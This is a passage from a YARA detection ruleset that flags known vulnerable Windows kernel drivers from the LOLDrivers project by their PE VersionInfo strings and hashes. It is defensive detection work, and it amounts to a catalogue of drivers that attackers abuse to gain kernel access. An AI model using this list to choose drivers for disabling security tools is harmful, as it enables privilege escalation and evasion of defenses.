		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0067006400720076002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310037 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Trendmicroinc_Tmcommsys_Trendmicroeyes_CC68
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "cc687fe3741bbde1dd142eac0ef59fd1d4457daee43cdde23bb162ef28d04e64"
		date = "2023-06-14"
		score = 40
		id = "14971376-05dc-59c2-bce7-498eabb52678"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0037002e00330030002e0030002e0031003000390039 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0037002e00330030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200045007900650073 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000200028004300290020002000320030003100380020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 500KB and all of them
}

rule PUA_VULN_Driver_Windowsrcodenamelonghornddkprovider_Cpudriver_Windowsrcodenamelonghornddkdriver_159E
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - WCPU.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "159e7c5a12157af92e0d14a0d3ea116f91c09e21a9831486e6dc592c93c10980"
		date = "2023-06-14"
		score = 40
		id = "4ca1b53c-7539-5e0e-8309-224a4a859480"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041005300550053002000540044004500200043005000550020004400720069007600650072 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00570069006e0064006f00770073002000280052002900200043006f00640065006e0061006d00650020004c006f006e00670068006f0072006e002000440044004b002000700072006f00760069006400650072 }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e0030002e0036003000300030002e003100360033003800360020006200750069006c0074002000620079003a002000570069006e00440044004b }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e0030002e0036003000300030002e00310036003300380036 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0043005000550020004400720069007600650072 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00570069006e0064006f00770073002000280052002900200043006f00640065006e0061006d00650020004c006f006e00670068006f0072006e002000440044004b0020006400720069007600650072 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0043005000550020004400720069007600650072 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020006200790020004100530055005300540065006b00200043004f004d0050005500540045005200200049004e0043002e00200032003000300036 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Msi_Ntiolibsys_Ntiolib_1DDF
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - NTIOLib.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "1ddfe4756f5db9fb319d6c6da9c41c588a729d9e7817190b027b38e9c076d219"
		date = "2023-06-14"
		score = 40
		id = "54f03573-22a0-51ea-b3cd-201d27459cf1"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004e00540049004f004c00690062 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004d00530049 }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030002e0033 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e0033 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004e00540049004f004c00690062002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004e00540049004f004c00690062 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004e00540049004f004c00690062002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003100360020004d006900630072006f002d005300740061007200200049004e00540027004c00200043004f002e002c0020004c00540044002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Trendmicroinc_Tmcommsys_Trendmicroeyes_654C
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "654c5ba47f74008c8f49cbb97988017eec8c898adc3bb851bc6e1fdf9dcf54ad"
		date = "2023-06-14"
		score = 40
		id = "c2883a08-8832-514d-a472-e53370fe9a88"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e0030002e0030002e0031003000370032 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e0030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200045007900650073 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003100330020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 300KB and all of them
}

rule PUA_VULN_Driver_Marvintestsolutionsinc_Hwsys_Hw_FD38
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - HW.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "fd388cf1df06d419b14dedbeb24c6f4dff37bea26018775f09d56b3067f0de2c"
		hash = "6a4875ae86131a594019dec4abd46ac6ba47e57a88287b814d07d929858fe3e5"
		date = "2023-06-14"
		score = 40
		id = "50ae31e8-41e0-5913-b04a-63b97aa9bbc2"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004800570020002d002000570069006e0064006f007700730020004e0054002d00380020002800330032002f00360034002000620069007400290020006b00650072006e0065006c0020006d006f00640065002000640072006900760065007200200066006f007200200050004300200070006f007200740073002f006d0065006d006f00720079002f0050004300490020006100630063006500730073 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004d0061007200760069006e0020005400650073007400200053006f006c007500740069006f006e0073002c00200049006e0063002e }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0034002e0038002e0032002e0030 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0034002e0038002e0032002e0030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00480077002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00480057 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00480057002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000a900200031003900390036002d00320030003100350020004d0061007200760069006e0020005400650073007400200053006f006c007500740069006f006e0073002c00200049006e0063002e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Avgtechnologiesczsro_Aswarpotsys_Avginternetsecuritysystem_6E0A
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "6e0aa67cfdbe27a059cbd066443337f81c5b6d37444d14792d1c765d9d122dcf"
		date = "2023-06-14"
		score = 40
		id = "140374de-63f5-5ea2-9546-9356d697f971"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00410056004700200061006e0074006900200072006f006f0074006b00690074 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310039002e0036002e0034003200330035002e0030 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310039002e0036002e0034003200330035002e0030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00410056004700200049006e007400650072006e00650074002000530065006300750072006900740079002000530079007300740065006d0020 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310039002000410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 300KB and all of them
}

rule PUA_VULN_Driver_Avgtechnologiesczsro_Aswarpotsys_Avginternetsecuritysystem_A2F4
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "a2f45d95d54f4e110b577e621fefa0483fa0e3dcca14c500c298fb9209e491c1"
		date = "2023-06-14"
		score = 40
		id = "c7b13c18-84a2-5362-bd10-a80c001c6efc"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00410056004700200061006e0074006900200072006f006f0074006b00690074 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310039002e0032002e0034003100380031002e0030 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310039002e0032002e0034003100380031002e0030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00410056004700200049006e007400650072006e00650074002000530065006300750072006900740079002000530079007300740065006d0020 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310039002000410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 200KB and all of them
}

rule PUA_VULN_Driver_Nvidiacorporation_Nvflash_Nvidiaflashdriver_AFDD
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - nvflash.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "afdd66562dea51001c3a9de300f91fc3eb965d6848dfce92ccb9b75853e02508"
		date = "2023-06-14"
		score = 40
		id = "f8e2c69d-d3fb-58f8-bc03-3ad5ce67f0bf"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004e0056004900440049004100200046006c0061007300680020004400720069007600650072002c002000560065007200730069006f006e00200031002e0038002e0030 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004e0056004900440049004100200043006f00720070006f0072006100740069006f006e }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0038002e0030 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0038002e0030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006e00760066006c006100730068 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004e0056004900440049004100200046006c0061007300680020004400720069007600650072 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006e00760066006c006100730068002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]002800430029002000320030003100370020004e0056004900440049004100200043006f00720070006f0072006100740069006f006e002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Elaboratebytesag_Elbycdio_Cdrtools_F85E
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - ElbyCDIO.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "f85eb576acb5db0d2f48e5f09a7244165a876fa1ca8697ebb773e4d7071d4439"
		date = "2023-06-14"
		score = 40
		id = "43ea92d7-a820-5ccc-b37f-05b96ead1246"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0045006c0062007900430044002000570069006e0064006f007700730020004e0054002f0032003000300030002f0058005000200049002f004f0020006400720069007600650072 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0045006c00610062006f0072006100740065002000420079007400650073002000410047 }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002c00200030002c00200030002c00200034 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002c00200030002c00200030002c00200030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0045006c00620079004300440049004f }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0043004400520054006f006f006c0073 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0045006c00620079004300440049004f002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003000300020002d0020003200300030003700200045006c00610062006f0072006100740065002000420079007400650073002000410047 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Vektortsecurityservice_Vboxdrv_Antidetectpublicbyvektortrev_26F4
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - VBoxDrv.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "26f41e4268be59f5de07552b51fa52d18d88be94f8895eb4a16de0f3940cf712"
		date = "2023-06-14"
		score = 40
		id = "1ee8489d-ef29-5d5b-80f5-8f0a206eda3f"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005600690072007400750061006c0042006f007800200053007500700070006f007200740020004400720069007600650072 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00560065006b0074006f0072002000540031003300200053006500630075007200690074007900200053006500720076006900630065 }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0032002e0030002e003100310039003200330030 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0032002e0030002e003100310039003200330030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00560042006f0078004400720076 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041006e00740069006400650074006500630074002000320030003100380020005000750062006c00690063002000620079002000560065006b0074006f0072002000540031003300200028007200650076002e003000350029 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00560042006f0078004400720076002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300039002d00320030003100380020004f007200610063006c006500200043006f00720070006f0072006100740069006f006e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 400KB and all of them
}

rule PUA_VULN_Driver_Trendmicroinc_Tmcommsys_Trendmicroeyes_3C42
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "3c4207c90c97733fae2a08679d63fbbe94dfcf96fdfdf88406aa7ab3f80ea78f"
		date = "2023-06-14"
		score = 40
		id = "e4c649d8-941e-57d8-9193-a7e5c3de4671"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e00370030002e0030002e0031003100320038 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e00370030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200045007900650073 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000200028004300290020002000320030003200300020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 400KB and all of them
}

rule PUA_VULN_Driver_Asustekcomputerinc_Atsziosys_Atsziodriver_55A1
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - ATSZIO.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "55a1535e173c998fbbc978009b02d36ca0c737340d84ac2a8da73dfc2f450ef9"
		hash = "c64d4ac416363c7a1aa828929544d1c1d78cf032b39769943b851cfc4c0faafc"
		date = "2023-06-14"
		score = 40
		id = "3bd64a09-bfa9-5b87-8048-60e61c1a61f7"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004100540053005a0049004f0020004400720069007600650072 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004100530055005300540065006b00200043006f006d0070007500740065007200200049006e0063002e }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0030002e0032002e0031002e0036 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0030002e0032002e0031002e0036 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004100540053005a0049004f002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004100540053005a0049004f0020004400720069007600650072 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004100540053005a0049004f002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310032 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Sisoftware_Sandra_Sisoftwaresandra_1AAF
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - sandra.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "1aaf4c1e3cb6774857e2eef27c17e68dc1ae577112e4769665f516c2e8c4e27b"
		date = "2023-06-14"
		score = 40
		id = "9fc423bb-451b-52e8-ba81-7113cd1621c8"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00530061006e006400720061002000440065007600690063006500200044007200690076006500720020002800570069006e003600340020007800360034002900280055006e00690063006f006400650029 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005300690053006f006600740077006100720065 }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310030002e00310031002e0031002e00310020006200750069006c0074002000620079003a002000570069006e00440044004b }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310030002e00310031002e0031002e0031 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00530041004e004400520041 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005300690053006f006600740077006100720065002000530061006e006400720061 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00530041004e004400520041 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000a90020005300690053006f0066007400770061007200650020004c0074006400200031003900390035002d0032003000300038002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Trendmicroinc_Tmcommsys_Aegis_C901
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "c9014b03866bf37faa8fdb16b6af7cfec976aaef179fd5797d0c0bf8079d3a8c"
		date = "2023-06-14"
		score = 40
		id = "a1c33a78-bef9-59fc-8976-876c1fe68aff"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0032002e0030002e0030002e0031003100310038 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e0030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00410045004700490053 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300035002d00320030003000370020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 200KB and all of them
}

rule PUA_VULN_Driver_Symanteccorporation_Vproeventmonitorsys_Symanteceventmonitorsdriverdevelopmentedition_7877
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - VProEventMonitor.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "7877c1b0e7429453b750218ca491c2825dae684ad9616642eff7b41715c70aca"
		date = "2023-06-14"
		score = 40
		id = "84fa4df8-ac81-5de0-994d-9d754642a01e"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005600500072006f004500760065006e0074004d006f006e00690074006f0072002e0053007900730020002d0020004500760065006e00740020004d006f006e00690074006f00720069006e00670020006400720069007600650072 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00530079006d0061006e00740065006300200043006f00720070006f0072006100740069006f006e }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030002e00340035003700300038 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]005600500072006f004500760065006e0074004d006f006e00690074006f0072002e005300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00530079006d0061006e0074006500630020004500760065006e00740020004d006f006e00690074006f00720073002000440072006900760065007200200044006500760065006c006f0070006d0065006e0074002000450064006900740069006f006e }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]005600500072006f004500760065006e0074004d006f006e00690074006f0072002e005300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000a900200032003000300037002d0032003000300038002000530079006d0061006e00740065006300200043006f00720070006f0072006100740069006f006e002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Wj_Kprocesshacker_C725
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - krpocesshacker.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "c725919e6357126d512c638f993cf572112f323da359645e4088f789eb4c7b8c"
		date = "2023-06-14"
		score = 40
		id = "53a8740a-65a5-5eb5-afc5-b86058982071"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004b00500072006f0063006500730073004800610063006b00650072 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0077006a00330032 }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0032002e0038 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e0038 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004b00500072006f0063006500730073004800610063006b00650072 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006b00700072006f0063006500730073006800610063006b00650072002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]004c006900630065006e00730065006400200075006e006400650072002000740068006500200047004e0055002000470050004c002c002000760033002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Avastsoftware_Aswarpot_Avastantivirus_7AD0
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "7ad0ab23023bc500c3b46f414a8b363c5f8700861bc4745cecc14dd34bcee9ed"
		date = "2023-06-14"
		score = 40
		id = "e9db51b4-48a2-53a9-999d-5676d0a4aa91"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041007600610073007400200041006e0074006900200052006f006f0074006b00690074 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041005600410053005400200053006f006600740077006100720065 }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]00320030002e0034002e00380033002e0030 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00320030002e0034002e00380033002e0030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041007600610073007400200041006e00740069007600690072007500730020 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028006300290020003200300032003000200041005600410053005400200053006f006600740077006100720065 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 200KB and all of them
}

rule PUA_VULN_Driver_Trendmicroinc_Tmcommsys_Trendmicroeyes_C082
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "c082514317bf80a2f5129d84a5a55e411a95e32d03a4df1274537704c80e41dd"
		date = "2023-06-14"
		score = 40
		id = "36d4d011-edf0-53e8-9665-b75520140df3"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e00360030002e0030002e0031003000380034 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e00360030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200045007900650073 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000200028004300290020002000320030003200300020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 400KB and all of them
}

rule PUA_VULN_Driver_Creativetechnologyinnovationcoltd_Ctiiosys_Ctiiodriverversion_X_2121
{
	meta:
